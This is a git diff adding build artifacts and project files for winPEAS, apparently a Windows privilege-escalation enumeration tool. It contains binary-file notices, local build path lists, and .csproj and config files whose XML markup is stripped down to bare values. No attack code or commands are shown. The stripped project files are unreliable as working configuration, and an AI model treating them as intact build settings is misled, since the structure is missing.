b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..2af82ed Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed new file mode 100755 index 0000000..c1e73ce Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100755 index 0000000..c7e89b3 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.CopyComplete b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.CopyComplete new file mode 100755 index 0000000..e69de29 diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.FileListAbsolute.txt b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.FileListAbsolute.txt new file mode 100755 index 0000000..3710cce --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.FileListAbsolute.txt @@ -0,0 +1,8 @@ +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x86\Release\winPEAS.exe.config +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x86\Release\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x86\Release\winPEAS.pdb +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x86\Release\Microsoft.Win32.TaskScheduler.xml +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x86\Release\winPEAS.csproj.Fody.CopyLocal.cache +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x86\Release\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x86\Release\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x86\Release\winPEAS.pdb diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.Fody.CopyLocal.cache b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.Fody.CopyLocal.cache new file mode 100755 index 0000000..0979e84 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.Fody.CopyLocal.cache @@ -0,0 +1 @@ +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\packages\TaskScheduler.2.8.16\lib\net40\Microsoft.Win32.TaskScheduler.xml diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.exe new file mode 100755 index 0000000..8ffe520 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.pdb new file mode 100755 index 0000000..542aae0 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/packages.config b/winPEAS/winPEASexe/winPEAS/packages.config new file mode 100755 index 0000000..f13cdff --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/packages.config @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj new file mode 100755 index 0000000..c6017e6 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj @@ -0,0 +1,138 @@ + + + + + + Debug + AnyCPU + {D934058E-A7DB-493F-A741-AE8E3DF867F4} + Exe + winPEAS + winPEAS + v4.0 + 512 + true + + + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + true + + + true + bin\x64\Debug\ + DEBUG;TRACE + full + x64 + 7.3 + prompt + MinimumRecommendedRules.ruleset + + + bin\x64\Release\ + TRACE + true + pdbonly + x64 + 7.3 + prompt + MinimumRecommendedRules.ruleset + + + true + bin\x86\Debug\ + DEBUG;TRACE + full + x86 + 7.3 + prompt + MinimumRecommendedRules.ruleset + + + bin\x86\Release\ + TRACE + true + pdbonly + x86 + 7.3 + prompt + MinimumRecommendedRules.ruleset + + + + ..\packages\Colorful.Console.1.2.9\lib\net40\Colorful.Console.dll + + + ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll + + + ..\packages\CredentialManagement.1.0.2\lib\net35\CredentialManagement.dll + + + ..\packages\TaskScheduler.2.8.16\lib\net40\Microsoft.Win32.TaskScheduler.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user new file mode 100755 index 0000000..13a518e --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user @@ -0,0 +1,21 @@ + + + + help + + + help + + + cmd fast + + + help + + + help + + + help + + \ No newline at end of file